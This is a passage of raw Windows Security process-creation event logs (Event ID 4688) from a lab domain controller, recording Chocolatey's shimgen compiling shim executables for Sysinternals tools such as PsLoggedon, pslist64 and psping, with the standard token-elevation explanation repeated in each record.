groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246762 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe10 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x314 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsLoggedon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246760 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x314 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246759 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x314 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsLoggedon.exe" --output="C:\ProgramData\chocolatey\bin\PsLoggedon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsLoggedon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF7F7.tmp" "c:\ProgramData\chocolatey\bin\CSCD22161F71C6E47E8AC3DF98F91D797F8.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pslist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x838 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pslist64.exe" --output="C:\ProgramData\chocolatey\bin\pslist64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pslist64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246753 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe74 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF71C.tmp" "c:\ProgramData\chocolatey\bin\CSCF8BDD94387634584B2858871F438BA7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246797 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246796 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psping64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246795 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb20 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246794 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe28 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psping64.exe" --output="C:\ProgramData\chocolatey\bin\psping64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psping64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246793 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFDF2.tmp" "c:\ProgramData\chocolatey\bin\CSC93EADE64F6EE49EF91F1BCA9D77D5C9E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246792 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246791 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psping.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246790 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: 